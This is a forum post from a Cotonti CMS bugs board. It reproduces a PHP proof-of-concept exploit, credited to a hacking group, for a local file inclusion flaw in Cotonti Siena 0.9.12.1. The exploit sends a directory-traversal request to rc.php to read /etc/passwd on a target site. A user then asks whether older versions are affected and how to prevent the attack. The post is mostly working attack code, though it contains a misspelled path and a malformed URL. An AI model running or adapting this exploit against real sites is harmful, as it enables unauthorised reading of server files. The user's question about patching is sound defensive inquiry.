Форуми / Cotonti / Bugs / Siena LFI hacking

LFI attack Cotonti Siena 0.9.12.1 LFI


<?php
/* 
*  WWW.PUNISH3R.COM
*  Bug               :Cotonti Siena 0.9.12.1 LFI
*  Author(Pentester) : FreWaL & Dr.Ly0n
*  Special Thanks    : Z0rLu, MaXtoR, MecTruy, Polonia, Monarchy, Eno7, RedWorm, R00tk!d, Harded, The_Mirkin and PUNISH3R all special user
*
*/
$hedef  = "http://hedefsite.com";
$dosya  = ".%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2Fetc%2Fpassword";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_URL, "http://$hedef/rc.php?rc=".$dosya);
curl_setopt($curl, CURLOPT_HTTPGET, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($curl, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($curl, CURLOPT_COOKIEJAR, "/tmp/cookie_$hedef");
$cikti = curl_exec ($curl);
curl_close($curl);
unset($curl);

echo $cikti;
?>

does it work on previous Sienas? How to prevent it? Can I just delete this file?